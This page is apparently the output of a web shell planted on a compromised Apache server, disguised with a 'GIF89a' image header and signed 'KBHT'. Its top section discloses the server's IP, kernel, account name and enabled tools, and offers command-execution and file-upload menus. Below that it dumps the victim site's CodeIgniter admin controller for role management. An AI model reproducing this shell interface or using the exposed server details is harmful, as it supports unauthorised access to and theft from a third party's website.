GIF89a; CRX
KBHT HEHE
Server IP : 172.26.0.195  /  Your IP : 3.137.169.56
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els2.x86_64 #1 SMP Mon Jul 15 12:09:18 UTC 2024 x86_64
User : jnclnmuac ( 1026)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/jnclnmuac/public_html/web/../css/../cas/application/controllers/admin/Role.php
<?php

/**
 * Controller class for handling all requests related to roles.
 *
 * @author Softpro India Pvt. Ltd.
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class Role extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/RoleManagement');
    }

    public function index() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['allRoles'] = $this->RoleManagement->getAllRoles()->result();
            $this->load->view('admin/roles', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createRole() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->load->view('admin/createRole');
        } else {
            redirect("admin/");
        }
    }

    public function saveNewRole() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('roleName', 'Role Name', 'trim|required', array('required' => 'Role Name Can Not Be Blank.'));
            $this->form_validation->set_rules('roleCode', 'Role Code', 'trim|required', array('required' => 'Role Code Can Not Be Blank.'));
            $queryByRoleName = $this->RoleManagement->getRoleInfoByName(trim($this->input->post('roleName')));
            $roleInfoByName = $queryByRoleName->result();
            $queryByRoleCode = $this->RoleManagement->getRoleInfoByCode(trim($this->input->post('roleCode')));
            $roleInfoByCode = $queryByRoleCode->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createRole();
            } else if (sizeof($roleInfoByName)) {
                $this->session->set_flashdata('errorMessage', "A Role With This Name (" . trim($this->input->post('roleName')) . ") Already Exits. Please choose A Different Name.");
                $this->createRole();
            } else if (sizeof($roleInfoByCode)) {
                $this->session->set_flashdata('errorMessage', "A Role With This Code (" . trim($this->input->post('roleCode')) . ") Already Exits. Please choose A Different Name.");
                $this->createRole();
            } else {
                $newRoleInfo = array(
                    'role_name' => addslashes(trim($this->input->post('roleName'))),
                    'role_code' => addslashes(trim($this->input->post('roleCode'))),
                    'role_added_on' => date("Y-m-d H:i:s"),
                    'role_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'role_updated_on' => date("Y-m-d H:i:s"),
                    'role_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->RoleManagement->createNewRole($newRoleInfo)) {
                    $this->session->set_flashdata('successMessage', 'Role Created Successfully.');
                    redirect("admin/Role");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Role. Try Later.');
                    redirect("admin/Role");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function editRole($role_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['roleInfo'] = $this->RoleManagement->getRoleInfoBy($role_id)->result()[0];
            $this->load->view('admin/editRole', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateRole() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $role_id = $this->input->post('roleId');
            $this->form_validation->set_rules('roleName', 'Role Name', 'trim|required', array('required' => 'Role Name Name Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editRole($role_id);
            } else if (!$this->RoleManagement->isRoleNameSafeUpdate($role_id, trim($this->input->post('roleName')))) {
                $this->session->set_flashdata('errorMessage', "A Role With This Name (" . trim($this->input->post('roleName')) . ") Already Exits. Please Choose A Different Name.");
                $this->editRole($role_id);
            } else if (!$this->RoleManagement->isRoleCodeSafeUpdate($role_id, trim($this->input->post('roleCode')))) {
                $this->session->set_flashdata('errorMessage', "A Role With This Code (" . trim($this->input->post('roleCode')) . ") Already Exits. Please Choose A Different Code.");
                $this->editRole($role_id);
            } else {
                $roleInfo = array(
                    'role_id' => $role_id,
                    'role_name' => addslashes(trim($this->input->post('roleName'))),
                    'role_code' => addslashes(trim($this->input->post('roleCode'))),
                    'role_added_on' => date("Y-m-d H:i:s"),
                    'role_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'role_updated_on' => date("Y-m-d H:i:s"),
                    'role_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->RoleManagement->updateRoleInfo($roleInfo)) {
                    $this->session->set_flashdata('successMessage', 'Role Updated Successfully.');
                    redirect("admin/Role");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Role. Try Later.');
                    redirect("admin/Role");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleRoleStatus($role_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $roleUpdateData = array(
                'role_id' => $role_id,
                'role_updated_on' => date("Y-m-d H:i:s"),
                'role_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'role_active_status' => $toUpdateStatus
            );
            if ($this->RoleManagement->updateRoleInfo($roleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Role Status Updated Successfully.');
                redirect("admin/Role");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Role Status. Try Later.');
                redirect("admin/Role");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteRole($role_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $roleUpdateData = array(
                'role_id' => $role_id,
                'role_updated_on' => date("Y-m-d H:i:s"),
                'role_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'role_delete_status' => 'T'
            );
            if ($this->RoleManagement->updateRoleInfo($roleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Role Deleted Successfully.');
                redirect("admin/Role");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Role. Try Later.');
                redirect("admin/Role");
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteRole($role_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $roleUpdateData = array(
                'role_id' => $role_id,
                'role_updated_on' => date("Y-m-d H:i:s"),
                'role_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'role_delete_status' => 'F'
            );
            if ($this->RoleManagement->updateRoleInfo($roleUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Role Recovered Successfully.');
                redirect("admin/Role");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Role. Try Later.');
                redirect("admin/Role");
            }
        } else {
            redirect("admin/");
        }
    }

}

KBHT - 2023